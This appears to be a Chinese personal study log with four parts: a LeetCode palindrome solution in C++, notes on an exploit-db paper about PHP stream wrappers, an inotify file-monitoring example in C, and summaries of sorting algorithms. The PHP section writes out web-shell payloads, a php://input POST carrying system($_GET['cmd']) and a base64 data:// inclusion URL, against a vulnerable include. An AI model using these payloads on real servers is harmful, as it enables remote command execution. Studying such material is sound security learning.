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Algorithm

【leetcode】125验证回文串

https://leetcode.com/problems/valid-palindrome/

1)problem

给定一个字符串,验证它是否是回文串,只考虑字母和数字字符,可以忽略字母的大小写。

说明:本题中,我们将空字符串定义为有效的回文串。

示例 1:

输入: "A man, a plan, a canal: Panama"
输出: true
示例 2:

输入: "race a car"
输出: false

2)answer

1、普通思路

把数字和字符提取出来,然后如果是字母就转换为小写。加到新的字符串中。

对于这个新的字符串,使用一个多条件循环,分别从字符串头、字符串尾遍历字符串的中间值,如果不一致就退出。直到遍历结束还是一致就判定为回文字符串。

2、高级思路

在discuss看到的答案。

用一个大循环分别从字符串头、字符串尾遍历字符串的中间值,里面两个小循环,用isalnum()函数判断是不是字母数字,如果不是就向前移动指针。

https://leetcode.com/problems/valid-palindrome/discuss/119173/C++-Easy-to-Understand-Solution

3)solution

第一种方案:

先判断是否为数字字母,跟之前写的to-lower-case结合,把大写转换为小写。

#include<stdio.h>
#include <string>
using std::string;

class Solution {
public:
    bool isPalindrome(string s) {

        string re_val = "";
        // 除去特殊符号,提取出字符串的小写字母
        for (char str_val : s)
        {
            // 确认字母数字
            if (isalnum(str_val) != false)
            {
                if (str_val >= 'A'&& str_val <= 'Z')
                {
                    // 取小写与大写之间的差值,得到字符对应的小写ASCII码对应是什么存进字符串中
                    re_val += (str_val + ('a' - 'A'));
                }
                else
                {
                    // 如果是小写就不处理
                    re_val += str_val;
                }
            }
        }
        for (int i=0,j=re_val.size()-1; i<j;i++,j--)
        {
            //一个指针从左边指到右边,一个指针从右边指向左边。如果有不同的值,就判断不是回文字符。
            if (re_val[i] != re_val[j])
                return false;
        }
        return true;
    }
};

int main()
{

    Solution solu;
    bool ret;
    ret = solu.isPalindrome("A man, a plan, a canal: Panama");
    printf("%d \n", ret);
    ret = solu.isPalindrome("race a car");
    printf("%d \n", ret);
    return 0;
}

第二种方案:

bool isPalindrome(string s) {
    for (int i = 0, j = s.size() - 1; i < j; i++, j--) { // Move 2 pointers from each end until they collide
        while (isalnum(s[i]) == false && i < j) i++; // Increment left pointer if not alphanumeric
        while (isalnum(s[j]) == false && i < j) j--; // Decrement right pointer if no alphanumeric
        if (toupper(s[i]) != toupper(s[j])) return false; // Exit and return error if not match
    }

    return true;
}

Review

【漏洞挖掘】The Powerful Resource of PHP Stream Wrappers

https://www.exploit-db.com/papers/45870

1)场景

版本:PHP 4.3

大体思路:使用PHP提供的流功能绕过安全防护,可以操作流数据的通用函数如下:

*   file
*   open
*   fwrite
*   fclose
*   file_get_contents
*   file_put_contents

2)问题难点

怎么利用流操作文件数据呢?

3)解决问题的方法

流的基础格式:

<wrapper>://<target>

wrapper可以指定要使用的流类型,例如File, FTP, PHPOUTPUT, PHPINPUT, HTTP 或者SSL,可以使用以下语句获取可以使用的warpper信息:

<?php   print_r(stream_get_wrappers()); ?>

利用php://input执行php代码:

POST http://www.example.com?go=php://input%00 HTTP/1.1
Host: example.com
Content-Length: 30

<?php system($_GET["cmd"]); ?>

php代码:

<?php   include($_GET["go"].".php");

4)方法细节

http://www.example.com/?cmd=uname+-a&go=data://text/plain;base64,PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4==

5)总结

使用版本太老,PHP5版本没有复现成功。

Tip

【安全开发】监控Linux程序变化

https://www.ibm.com/developerworks/cn/linux/l-ubuntu-inotify/
https://blog.csdn.net/daiyudong2020/article/details/51695502

1)场景

调试Linux程序监控特定目录下的程序释放情景。

2)问题难点

监控Linux程序文件释放、删除、移动的状态。

3)解决思路

Inotify 是一个 Linux 内核特性,它监控文件系统,并且及时向专门的应用程序发出相关的事件警告,比如删除、读、写和卸载操作等。您还可以跟踪活动的源头和目标等细节。

4)方法细节

创建一个文件描述符,附加一个或多个监视器(一个监视器 是一个路径和一组事件),然后使用 read() 方法从描述符获取事件信息。read() 并不会用光整个周期,它在事件发生之前是被阻塞的。

更好的是,因为 inotify 通过传统的文件描述符工作,您可以利用传统的 select() 系统调用来被动地监控监视器和许多其他输入源。两种方法 — 阻塞文件描述符和使用 select()— 都避免了繁忙轮询。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/inotify.h>
#include <unistd.h>

#define EVENT_NUM 12
char *event_str[EVENT_NUM] =
{
"IN_ACCESS",
"IN_MODIFY",        //文件修改
"IN_ATTRIB",
"IN_CLOSE_WRITE",
"IN_CLOSE_NOWRITE",
"IN_OPEN",
"IN_MOVED_FROM",    //文件移动from
"IN_MOVED_TO",      //文件移动to
"IN_CREATE",        //文件创建
"IN_DELETE",        //文件删除
"IN_DELETE_SELF",
"IN_MOVE_SELF"
};

int main(int argc, char *argv[])
{
    int fd;
    int wd;
    int len;
    int nread;
    char buf[BUFSIZ];
    struct inotify_event *event;
    int i;

    // 判断输入参数
    if (argc < 2) {
        fprintf(stderr, "%s path\n", argv[0]);
        return -1;
    }

    // 初始化
    fd = inotify_init();
    if (fd < 0) {
        fprintf(stderr, "inotify_init failed\n");
        return -1;
    }

    /* 增加监听事件
     * 监听所有事件:IN_ALL_EVENTS
     * 监听文件是否被创建,删除,移动:IN_CREATE|IN_DELETE|IN_MOVED_FROM|IN_MOVED_TO
     */
    wd = inotify_add_watch(fd, argv[1], IN_CREATE|IN_DELETE|IN_MOVED_FROM|IN_MOVED_TO);
    if(wd < 0) {
        fprintf(stderr, "inotify_add_watch %s failed\n", argv[1]);
        return -1;
    }

    buf[sizeof(buf) - 1] = 0;
    while( (len = read(fd, buf, sizeof(buf) - 1)) > 0 ) {
        nread = 0;
        while(len> 0) {
            event = (struct inotify_event *)&buf[nread];
            for(i=0; i<EVENT_NUM; i++) {
                if((event->mask >> i) & 1) {
                    if(event->len > 0)
                        fprintf(stdout, "%s --- %s\n", event->name, event_str[i]);
                    else
                        fprintf(stdout, "%s --- %s\n", " ", event_str[i]);
                }
            }
            nread = nread + sizeof(struct inotify_event) + event->len;
            len = len - sizeof(struct inotify_event) - event->len;
        }
    }

    return 0;

5)总结

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【业务】十大经典排序算法

1)场景

排序算法的多种实现思路

2)问题难点

排序算法的实现、算法的空间复杂度、稳定性是如何?

3)解决思路

  • 冒泡排序

冒泡排序(Bubble Sort)也是一种简单直观的排序算法。它重复地走访过要排序的数列,一次比较两个元素,如果他们的顺序错误就把他们交换过来。走访数列的工作是重复地进行直到没有再需要交换,也就是说该数列已经排序完成。这个算法的名字由来是因为越小的元素会经由交换慢慢“浮”到数列的顶端。

算法步骤

比较相邻的元素。如果第一个比第二个大,就交换他们两个。

对每一对相邻元素作同样的工作,从开始第一对到结尾的最后一对。这步做完后,最后的元素会是最大的数。

针对所有的元素重复以上的步骤,除了最后一个。

持续每次对越来越少的元素重复上面的步骤,直到没有任何一对数字需要比较。
  • 选择排序

选择排序是一种简单直观的排序算法,无论什么数据进去都是 O(n²) 的时间复杂度。所以用到它的时候,数据规模越小越好。

算法步骤

首先在未排序序列中找到最小(大)元素,存放到排序序列的起始位置

再从剩余未排序元素中继续寻找最小(大)元素,然后放到已排序序列的末尾。

重复第二步,直到所有元素均排序完毕。
  • 插入排序

插入排序是一种最简单直观的排序算法,它的工作原理是通过构建有序序列,对于未排序数据,在已排序序列中从后向前扫描,找到相应位置并插入。

算法步骤

将第一待排序序列第一个元素看做一个有序序列,把第二个元素到最后一个元素当成是未排序序列。

从头到尾依次扫描未排序序列,将扫描到的每个元素插入有序序列的适当位置。(如果待插入的元素与有序序列中的某个元素相等,则将待插入元素插入到相等元素的后面。)
  • 希尔排序

希尔排序,也称递减增量排序算法,是插入排序的一种更高效的改进版本。但希尔排序是非稳定排序算法。

希尔排序是基于插入排序的以下两点性质而提出改进方法的:

插入排序在对几乎已经排好序的数据操作时,效率高,即可以达到线性排序的效率;
但插入排序一般来说是低效的,因为插入排序每次只能将数据移动一位;
希尔排序的基本思想是:先将整个待排序的记录序列分割成为若干子序列分别进行直接插入排序,待整个序列中的记录“基本有序”时,再对全体记录进行依次直接插入排序。

算法步骤

选择一个增量序列 t1,t2,……,tk,其中 ti > tj, tk = 1;

按增量序列个数 k,对序列进行 k 趟排序;

每趟排序,根据对应的增量 ti,将待排序列分割成若干长度为 m 的子序列,分别对各子表进行直接插入排序。仅增量因子为 1 时,整个序列作为一个表来处理,表长度即为整个序列的长度。
  • 归并排序

归并排序(Merge sort)是建立在归并操作上的一种有效的排序算法。该算法是采用分治法(Divide and Conquer)的一个非常典型的应用。

作为一种典型的分而治之思想的算法应用,归并排序的实现由两种方法:

自上而下的递归(所有递归的方法都可以用迭代重写,所以就有了第 2 种方法);
自下而上的迭代;

算法步骤

申请空间,使其大小为两个已经排序序列之和,该空间用来存放合并后的序列;

设定两个指针,最初位置分别为两个已经排序序列的起始位置;

比较两个指针所指向的元素,选择相对小的元素放入到合并空间,并移动指针到下一位置;

重复步骤 3 直到某一指针达到序列尾;

将另一序列剩下的所有元素直接复制到合并序列尾。
  • 快速排序

快速排序是由东尼·霍尔所发展的一种排序算法。在平均状况下,排序 n 个项目要 Ο(nlogn) 次比较。在最坏状况下则需要 Ο(n2) 次比较,但这种状况并不常见。事实上,快速排序通常明显比其他 Ο(nlogn) 算法更快,因为它的内部循环(inner loop)可以在大部分的架构上很有效率地被实现出来。

快速排序使用分治法(Divide and conquer)策略来把一个串行(list)分为两个子串行(sub-lists)。

快速排序又是一种分而治之思想在排序算法上的典型应用。本质上来看,快速排序应该算是在冒泡排序基础上的递归分治法。

算法步骤

从数列中挑出一个元素,称为 “基准”(pivot);

重新排序数列,所有元素比基准值小的摆放在基准前面,所有元素比基准值大的摆在基准的后面(相同的数可以到任一边)。在这个分区退出之后,该基准就处于数列的中间位置。这个称为分区(partition)操作;

递归地(recursive)把小于基准值元素的子数列和大于基准值元素的子数列排序;

递归的最底部情形,是数列的大小是零或一,也就是永远都已经被排序好了。虽然一直递归下去,但是这个算法总会退出,因为在每次的迭代(iteration)中,它至少会把一个元素摆到它最后的位置去。
  • 堆排序

堆排序(Heapsort)是指利用堆这种数据结构所设计的一种排序算法。堆积是一个近似完全二叉树的结构,并同时满足堆积的性质:即子结点的键值或索引总是小于(或者大于)它的父节点。堆排序可以说是一种利用堆的概念来排序的选择排序。分为两种方法:

大顶堆:每个节点的值都大于或等于其子节点的值,在堆排序算法中用于升序排列;
小顶堆:每个节点的值都小于或等于其子节点的值,在堆排序算法中用于降序排列;
堆排序的平均时间复杂度为 Ο(nlogn)。

算法步骤

创建一个堆 H[0……n-1];

把堆首(最大值)和堆尾互换;

把堆的尺寸缩小 1,并调用 shift_down(0),目的是把新的数组顶端数据调整到相应位置;

重复步骤 2,直到堆的尺寸为 1。
  • 计数排序

计数排序的核心在于将输入的数据值转化为键存储在额外开辟的数组空间中。作为一种线性时间复杂度的排序,计数排序要求输入的数据必须是有确定范围的整数。

  • 桶排序

桶排序是计数排序的升级版。它利用了函数的映射关系,高效与否的关键就在于这个映射函数的确定。为了使桶排序更加高效,我们需要做到这两点:

  1. 在额外空间充足的情况下,尽量增大桶的数量
  2. 使用的映射函数能够将输入的 N 个数据均匀的分配到 K 个桶中

同时,对于桶中元素的排序,选择何种比较排序算法对于性能的影响至关重要。

  • 基数排序

基数排序是一种非比较型整数排序算法,其原理是将整数按位数切割成不同的数字,然后按每个位数分别比较。由于整数也可以表达字符串(比如名字或日期)和特定格式的浮点数,所以基数排序也不是只能使用于整数。

4)方法细节

5)总结

https://github.com/hustcc/JS-Sorting-Algorithm

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